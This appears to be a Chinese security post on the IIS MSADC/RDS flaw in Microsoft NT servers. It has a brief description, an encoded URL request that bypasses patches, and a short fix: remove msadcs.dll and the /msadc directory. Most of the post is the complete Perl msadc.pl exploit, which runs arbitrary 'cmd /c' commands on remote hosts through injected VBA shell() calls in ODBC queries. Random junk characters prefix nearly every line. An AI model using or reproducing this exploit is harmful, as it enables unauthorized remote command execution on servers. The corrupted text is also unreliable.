IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
b_krk\e@S a! SiX 涉及程序：
pF >i-i Microsoft NT server
}&D WaO]J7 {WS;dX4 描述：
klYX7? 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
rXq.DvQ c#]4awHU 详细：
3`?7 <YJ 如果你没有时间读详细内容的话，就删除:
@4C% +- c:\Program Files\Common Files\System\Msadc\msadcs.dll
qkqIV^* R 有关的安全问题就没有了。
Q\vpqE! 9 zI uJ-8T" 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
1 H`,WQ1mG =I5>$}q_&, 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
'oVx#w^m f 关于利用ODBC远程漏洞的描述，请参看:
n&/
` DfD&) tsMQ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm
l&zilVVm > |=ts 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
H41?/U,{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp 6_;ic pN] Qel 9G($= 这里不再论述。
hZ,_ 6mNg I
34>X`[o 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
a-tm q]]E @1j
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
}>| s=uGW 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
/maJtX' W@IQ^
}E Rp7mh]kZ #将下面这段保存为txt文件，然后: "perl -x 文件名"
MN>b7O \.? 9=tIz #!perl
d-ko
^Y0 #
G*MUO#_iuh # MSADC/RDS 'usage' (aka exploit) script
`}\
"Aw c #
8Fh)eha9f # by rain.forest.puppy
U/M >?G~ #
q?:dCFw$x5 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
&-w
Cvp7 # beta test and find errors!
|e&\<LwsP 3}1u\(Mf use Socket; use Getopt::Std;
(9 d & getopts("e:vd:h:XR", \%args);
%;' s4ly e9tjw[+A print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
="H%6S4' 6MW{,N if (!defined $args{h} && !defined $args{R}) {
,`Z1m
o>n print qq~
gH vZ VC[b Usage: msadc.pl -h <host> { -d <delay> -X -v }
]EAO+x9 -h <host> = host you want to scan (ip or domain)
i]4I [! -d <seconds> = delay between calls, default 1 second
n@i HFBb -X = dump Index Server path table, if available
q2j{tP# -v = verbose
>=>2m2z= -e = external dictionary file for step 5
v?$:@9pAk :cECRm * Or a -R will resume a command session
o|:b ;\)b "sCRdx]_ ~; exit;}
+\A,&;!SR 3 hH<T.@) $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
=nS3p6>rZ if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
#!#
l45p6 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
gf@:R'$:+ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
N+xP26D8 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
WH} y"W if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
{P./==^0 ^CX6&d if (!defined $args{R}){ $ret = &has_msadc;
e T{ 4{ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
xC T ML!H R qrd Akg print "Please type the NT commandline you want to run (cmd /c assumed):\n"
P @B] . "cmd /c ";
x9g#<2 w8 $in=<STDIN>; chomp $in;
p6@)-2^ $command="cmd /c " . $in ;
n\DV3rXI9 {tZ.v@ if (defined $args{R}) {&load; exit;}
m
s \} {\5 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
~
7s!VR &try_btcustmr;
)10+@d # W']6'O print "\nStep 2: Trying to make our own DSN...";
teF9Q+*~ &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
\b x$i* 2ilQXy print "\nStep 3: Trying known DSNs...";
vE?G7%, &known_dsn;
aFY IM`?( oc`H}Wvn print "\nStep 4: Trying known .mdbs...";
F41=b4/ &known_mdb;
n>YKa)|W` NLq zi%s if (defined $args{e}){
da(<K} print "\nStep 5: Trying dictionary of DSN names...";
PZ9I`P! C &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
tsjr RMR cwg"c4V print "Sorry Charley...maybe next time?\n";
z:*|a +c y exit;
Z9|P'R(l _D tV ##############################################################################
b G#>uE J- 5j(k:a+!H sub sendraw { # ripped and modded from whisker
~>|ziHx sleep($delay); # it's a DoS on the server! At least on mine...
.q>iX E_c my ($pstr)=@_;
&8lZNv8;(p socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
e"<OELA die("Socket problems\n");
3w'tH4C[Y if(connect(S,pack "SnA4x8",2,80,$target)){
Nf\LN$ &8 select(S); $|=1;
o+' 6`g'8 print $pstr; my @in=<S>;
0l6.<-f{ select(STDOUT); close(S);
bH~dJFj/ return @in;
sgFEK[w.y } else { die("Can't connect...\n"); }}
k,*XG$ 2h *2l7f` K ##############################################################################
!Vk^TFt` WsB ?C&>x sub make_header { # make the HTTP request
7[) E>XRE my $msadc=<<EOT
4WB0Pt{ POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
[ (lW^ - User-Agent: ACTIVEDATA
M= (u ]%\ Host: $ip
!Uo4,g6r+ Content-Length: $clen
"y}5;9#, Connection: Keep-Alive
`c$V$/IT upmx $H> ADCClientVersion:01.06
mfr| :i Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
y9ZvV0 !a\^Sk
/ --!ADM!ROX!YOUR!WORLD!
75lA%|
*X Content-Type: application/x-varg
N!}f}oF Content-Length: $reqlen
g_bLl)g< C U0 YI L EOT
ob]w;" ; $msadc=~s/\n/\r\n/g;
XCQs2CHt return $msadc;}
h*\%vr FS O).=# ##############################################################################
F== p<lrs 5 qA ' sub make_req { # make the RDS request
At ;LO9T3z my ($switch, $p1, $p2)=@_;
h ?U
O&( my $req=""; my $t1, $t2, $query, $dsn;
"{t$ nVJ Vurq t_nb if ($switch==1){ # this is the btcustmr.mdb query
%cn<y ch
G $query="Select * from Customers where City=" . make_shell();
SpBy3wd $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
UEL _uij $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
307I$*%W KI.hy2?e elsif ($switch==2){ # this is general make table query
vY3h3o $query="create table AZZ (B int, C varchar(10))";
}@)[5N# A| $dsn="$p1";}
[-w%/D%@ y~V(aih}D elsif ($switch==3){ # this is general exploit table query
.xkM.g4{~ $query="select * from AZZ where C=" . make_shell();
i|kRK7[6B $dsn="$p1";}
?Bmb' 3 !4!~L k= elsif ($switch==4){ # attempt to hork file info from index server
bN.Pex $query="select path from scope()";
Id9TG/H7 $dsn="Provider=MSIDXS;";}
er\|i. Y L ~3Pm%{@A elsif ($switch==5){ # bad query
>$7B
wO $query="select";
7tp36 TE $dsn="$p1";}
3so %gvY.' P+}h$ _x $t1= make_unicode($query);
j~MI<I+l[ $t2= make_unicode($dsn);
WIGi51yC.x $req = "\x02\x00\x03\x00";
r JB}q YD $req.= "\x08\x00" . pack ("S1", length($t1));
ALHIGJW:6$ $req.= "\x00\x00" . $t1 ;
8P`"M#fI $req.= "\x08\x00" . pack ("S1", length($t2));
eMzk3eOJ $req.= "\x00\x00" . $t2 ;
5)40/cBe $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
46;uW{EY return $req;}
XWw804ir {;oP L r+Z ##############################################################################
J}t%p(mb %TqC/c sub make_shell { # this makes the shell() statement
6eCCmIdaM return "'|shell(\"$command\")|'";}
<UCl@5g& /wG2vE8e ##############################################################################
'+
? X O6 Y0XL sub make_unicode { # quick little function to convert to unicode
j<$2hiI/?& my ($in)=@_; my $out;
l,).p for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
eS! /(#T return $out;}
khd4ue$ >Q*Wi ##############################################################################
.+qpk*V\ pR_9NfV{ sub rdo_success { # checks for RDO return success (this is kludge)
\2z >?i) my (@in) = @_; my $base=content_start(@in);
2AdDIVY C if($in[$base]=~/multipart\/mixed/){
mkpMfPt return 1 if( $in[$base+10]=~/^\x09\x00/ );}
unxqkU/<Z return 0;}
?7A>+EY $cg cX ##############################################################################
GvAb`c = xz]~ jL@-] sub make_dsn { # this makes a DSN for us
a'T;x`b8U, my @drives=("c","d","e","f");
dr"1s-D4IQ print "\nMaking DSN: ";
x1 a:u foreach $drive (@drives) {
/wv0i3_e
print "$drive: ";
<3
uNl my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
'%;m?t% q "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Dp:BU|r . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
v Q.R{!",> $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
EM_d8o)`B return 0 if $2 eq "404"; # not found/doesn't exist
gM] :M a if($2 eq "200") {
d zMb5puH foreach $line (@results) {
Gm`8q}<I return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
.)3 <Q}> } return 0;}
TqQ[_RKg2 ^z\cyT%7t ##############################################################################
Nboaf OTv) sub verify_exists {
\7_y%HR my ($page)=@_;
\<K5ZIWV my @results=sendraw("GET $page HTTP/1.0\n\n");
zm# ? W return $results[0];}
iow"n$/ 4Tc~b3\!Y ##############################################################################
/kG_*> .Z /_.|E] sub try_btcustmr {
IGgL7^MF my @drives=("c","d","e","f");
)5H?Vh>36 my @dirs=("winnt","winnt35","winnt351","win","windows");
Fzcwy V
}0 ?3:A foreach $dir (@dirs) {
iDD$pd,e\ print "$dir -> "; # fun status so you can see progress
8XaQAy%d] foreach $drive (@drives) {
8 CE = 4 print "$drive: "; # ditto
iRBfx $reqlen=length( make_req(1,$drive,$dir) ) - 28;
GX% g9f!O $reqlenlen=length( "$reqlen" );
4e $clen= 206 + $reqlenlen + $reqlen;
y>LBl] @+DX.9 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
bd`P0f? if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
F[MFx^sT{ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
T4F/w|Q SfR%s8c` ##############################################################################
_dU\JD Xc.`-J~Il sub odbc_error {
{G-k NU my (@in)=@_; my $base;
afk>+4q my $base = content_start(@in);
sRfcF`7 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
zeRyL3fnmb $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}a/Cro.~4 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
@]0%L0u $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(% 9$! v{3 return $in[$base+4].$in[$base+5].$in[$base+6];}
0 {mex4 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
k=^xVQuI print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
?cZlN ! $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
1x^GWtRp !m$jk2< ##############################################################################
,,TnIouy qP;OaM
C X sub verbose {
W 3RT{\ my ($in)=@_;
*ui</+ return if !$verbose;
6B-16 print STDOUT "\n$in\n";}
t,' <gI =V5%+/r +f ##############################################################################
5-M-X#( AwN!;t_0+N sub save {
!'Kj x my ($p1, $p2, $p3, $p4)=@_;
LQ% `c open(OUT, ">rds.save") || print "Problem saving parameters...\n";
t<qiGDJ<d print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
nFn5v'g close OUT;}
N g,j# :EyD+!LJ ##############################################################################
E"0>yl) >d6| ^h'0 sub load {
mc3"`+o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4+ig'
|o open(IN,"<rds.save") || die("Couldn't open rds.save\n");
I:.s_8mH} @p=<IN>; close(IN);
M3AXe]<eC1 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
Pc9H0\+Xk $target= inet_aton($ip) || die("inet_aton problems");
] R *A print "Resuming to $ip ...";
@PU [:; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
PW4q~rc=: if($p[1]==1) {
n tY]SK%Z $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
SX*RP;vHy $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
gZ5 |UR< my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
W9)&!&<o if (rdo_success(@results)){print "Success!\n";}
9FX-1,Jx else { print "failed\n"; verbose(odbc_error(@results));}}
H.0K?N&\?> elsif ($p[1]==3){
4\i[m:e=@ if(run_query("$p[3]")){
r
:dT z print "Success!\n";} else { print "failed\n"; }}
/O9EQ Pm( elsif ($p[1]==4){
1&2>LE/P if(run_query($drvst . "$p[3]")){
fR|A(u#9 print "Success!\n"; } else { print "failed\n"; }}
T;#FEzBz exit;}
Wjc'*QCP l 3o qHGA:} ##############################################################################
{ b{s<@? 54/=G(F sub create_table {
(w{j6).3Dj my ($in)=@_;
%3 rP `A $reqlen=length( make_req(2,$in,"") ) - 28;
[
3Hf Q $reqlenlen=length( "$reqlen" );
ctUp=po $clen= 206 + $reqlenlen + $reqlen;
wS* E(IAl my @results=sendraw(make_header() . make_req(2,$in,""));
#Dac~>a' return 1 if rdo_success(@results);
*h|U,T7ew my $temp= odbc_error(@results); verbose($temp);
A=4OWV? return 1 if $temp=~/Table 'AZZ' already exists/;
/ j^ return 0;}
$J2Gf(RU n*$ g]G$ ##############################################################################
J e{ykL?N :pUtSs7p} sub known_dsn {
Yw9GN2AG # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
UI#h&j5pW my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
W4N{S.#! "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
F5Va+z,j g "banner", "banners", "ads", "ADCDemo", "ADCTest");
If.r5z9 Q20 %"&Xp] foreach $dSn (@dsns) {
he4 (hX^ print ".";
)*[3Vq next if (!is_access("DSN=$dSn"));
M`>E|" < if(create_table("DSN=$dSn")){
1"g<0
W print "$dSn successful\n";
g5yJfRLxp if(run_query("DSN=$dSn")){
Lv%x81]K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
26nx`w?j( print "Something's borked. Use verbose next time\n";}}} print "\n";}
$C\BcKlmv :% .D78& ##############################################################################
?8$Q-1 = MJvp6n sub is_access {
Vc2`b3"Br my ($in)=@_;
#S(Hd?34, $reqlen=length( make_req(5,$in,"") ) - 28;
v1[29t<I! $reqlenlen=length( "$reqlen" );
XR H!]! $clen= 206 + $reqlenlen + $reqlen;
wbHb;] my @results=sendraw(make_header() . make_req(5,$in,""));
`]X>V, my $temp= odbc_error(@results);
+ 0~YP*I`/ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
d5.4l&\u return 0;}
2|L&D F:G PdCEUh\>y ##############################################################################
9my^ Y9B q7!{?\T% sub run_query {
] @'!lh Li my ($in)=@_;
Z7#+pPt! $reqlen=length( make_req(3,$in,"") ) - 28;
99S ^f:t $reqlenlen=length( "$reqlen" );
w &(ag$p ' $clen= 206 + $reqlenlen + $reqlen;
IU[ [ H# my @results=sendraw(make_header() . make_req(3,$in,""));
;I*o@x_ return 1 if rdo_success(@results);
TO_e^A# my $temp= odbc_error(@results); verbose($temp);
`g,..Ns-r return 0;}
Ngwb Q7) s >en ##############################################################################
p[-O( 3Y G"6 !{4g sub known_mdb {
rZF*q2? my @drives=("c","d","e","f","g");
:t[_:3@ my @dirs=("winnt","winnt35","winnt351","win","windows");
KP"+e:a% my $dir, $drive, $mdb;
Rv=YFo[B my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
S:Hl/:iV 74u &%Rj # this is sparse, because I don't know of many
<[phnU^
8 my @sysmdbs=( "\\catroot\\icatalog.mdb",
yuVs
YV@" "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
(ZGbh MK "\\system32\\certmdb.mdb",
<Uur^uB "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
y(&Ac[foS} 6mE\OS-I my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
y2v^-q3 "\\cfusion\\cfapps\\forums\\forums_.mdb",
iwq!w6+ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
TV:9bn?r) "\\cfusion\\cfapps\\security\\realm_.mdb",
GeqPRah "\\cfusion\\cfapps\\security\\data\\realm.mdb",
:Al!1BJQ "\\cfusion\\database\\cfexamples.mdb",
O8o3O
6[Y "\\cfusion\\database\\cfsnippets.mdb",
p 'k0#R$ "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
(mOtU8 e "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
dve iQ "\\cfusion\\brighttiger\\database\\cleam.mdb",
5\ v3;;A[ "\\cfusion\\database\\smpolicy.mdb",
: +u]S2 u{ "\\cfusion\\database\cypress.mdb",
&L :!VL{I "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
GVz6-T~\> "\\website\\cgi-win\\dbsample.mdb",
Zc yc*{DS "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?5p>BER? "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
i?/qY&~ ); #these are just
q| 7( foreach $drive (@drives) {
':q p05t foreach $dir (@dirs){
*R"/ |Ka foreach $mdb (@sysmdbs) {
O< I- print ".";
lFk R=!?= if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
0%B/,/PxD print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
CAlCDfKW} if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
3
{V>S,O3] print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
/efUj kP } else { print "Something's borked. Use verbose next time\n"; }}}}}
vIvIfE Y@v>FlqI{ foreach $drive (@drives) {
YQ} o?Q$z foreach $mdb (@mdbs) {
*hrvYil2b print ".";
teP<!RKNb if(create_table($drv . $drive . $dir . $mdb)){
t7pFW^& print "\n" . $drive . $dir . $mdb . " successful\n";
jo7\`#(Q if(run_query($drv . $drive . $dir . $mdb)){
/}$+uBgJm print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
hb-%_c"kq } else { print "Something's borked. Use verbose next time\n"; }}}}
TzZq(? V }
b$7 + ;I; IgzQr > ##############################################################################
3R/bz0 V> 7^285)UQA sub hork_idx {
NHt\
U9l' print "\nAttempting to dump Index Server tables...\n";
rjP/l6
~' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
0_/[k*Re $reqlen=length( make_req(4,"","") ) - 28;
y }
'@R$ $reqlenlen=length( "$reqlen" );
`X KLU $clen= 206 + $reqlenlen + $reqlen;
iCoX& "l b my @results=sendraw2(make_header() . make_req(4,"",""));
"tZe>> I if (rdo_success(@results)){
K:M8h{Ua my $max=@results; my $c; my %d;
=D(j)<9$A for($c=19; $c<$max; $c++){
h( 4v8ae $results[$c]=~s/\x00//g;
pYg/Zm
Jd $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
h1 RSVp+?n $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
"4Nt\WQ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
+_!QSU,@ $d{"$1$2"}="";}
\wZe] G%S foreach $c (keys %d){ print "$c\n"; }
^q&x7Kv% } else {print "Index server doesn't seem to be installed.\n"; }}
} \f0 A- #Z #-Ht ##############################################################################
mq l
Z?- Ef\ -VKh sub dsn_dict {
s~> }a open(IN, "<$args{e}") || die("Can't open external dictionary\n");
S/ *E,))m while(<IN>){
=I<R! ZSN $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
OI*H,Z " next if (!is_access("DSN=$dSn"));
wkq 66? if(create_table("DSN=$dSn")){
.}t
e>]A* print "$dSn successful\n";
9$t( & z= if(run_query("DSN=$dSn")){
Gdw VtqbX print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
e.C)jv6qr print "Something's borked. Use verbose next time\n";}}}
x2EUr,7 print "\n"; close(IN);}
F
[M,]? }k0_5S ##############################################################################
s iaG'%@*r Gt1U!dP sub sendraw2 { # ripped and modded from whisker
PCvWS.{ sleep($delay); # it's a DoS on the server! At least on mine...
! if my ($pstr)=@_;
pmM9,6P4@ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
!1k_PY5) die("Socket problems\n");
SBpL6~NW if(connect(S,pack "SnA4x8",2,80,$target)){
\zY!qpX< print "Connected. Getting data";
|4JEU3\ $ open(OUT,">raw.out"); my @in;
4 5e~6", select(S); $|=1; print $pstr;
7v kL1IA while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
s%S close(OUT); select(STDOUT); close(S); return @in;
Y73C5.dNcE } else { die("Can't connect...\n"); }}
:h$$J
lP _w{Qtj~s| ##############################################################################
!VJoM,b8 Wz h`or sub content_start { # this will take in the server headers
1x)J[fyId my (@in)=@_; my $c;
.8R@2c`}Cs for ($c=1;$c<500;$c++) {
D- c4EV if($in[$c] =~/^\x0d\x0a/){
PsYp xNr if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
9p/Bh$vJ else { return $c+1; }}}
2iOV/=+ return -1;} # it should never get here actually
Z r8*et 3mgD(,(^ ##############################################################################
>%G1"d?j H)?z
#x sub funky {
h\o.&6sd my (@in)=@_; my $error=odbc_error(@in);
s*[bFJwN if($error=~/ADO could not find the specified provider/){
8Wx=p#_ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
%;_MGae exit;}
UpG~[u)%@ if($error=~/A Handler is required/){
:]KAkhFkbb print "\nServer has custom handler filters (they most likely are patched)\n";
L#J1b!D&<6 exit;}
fl(wV.Je| if($error=~/specified Handler has denied Access/){
t!XwW$@ print "\nServer has custom handler filters (they most likely are patched)\n";
s#11FfF` exit;}}
o4X{L`m Wc#24:OKe3 ##############################################################################
+2{Lh7Ks JI}'dU>*U: sub has_msadc {
3$ pX my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
u[YGm:} my $base=content_start(@results);
L_T5nD^D return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
)2.Si# return 0;}
UfGkTwoo= 29Ki uP ########################
XwmL.Gg:]7 [~HN<>L@C q 1,~ 解决方案：
<YY 1 4p 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
#a6iuO0I 2、移除web 目录: /msadc
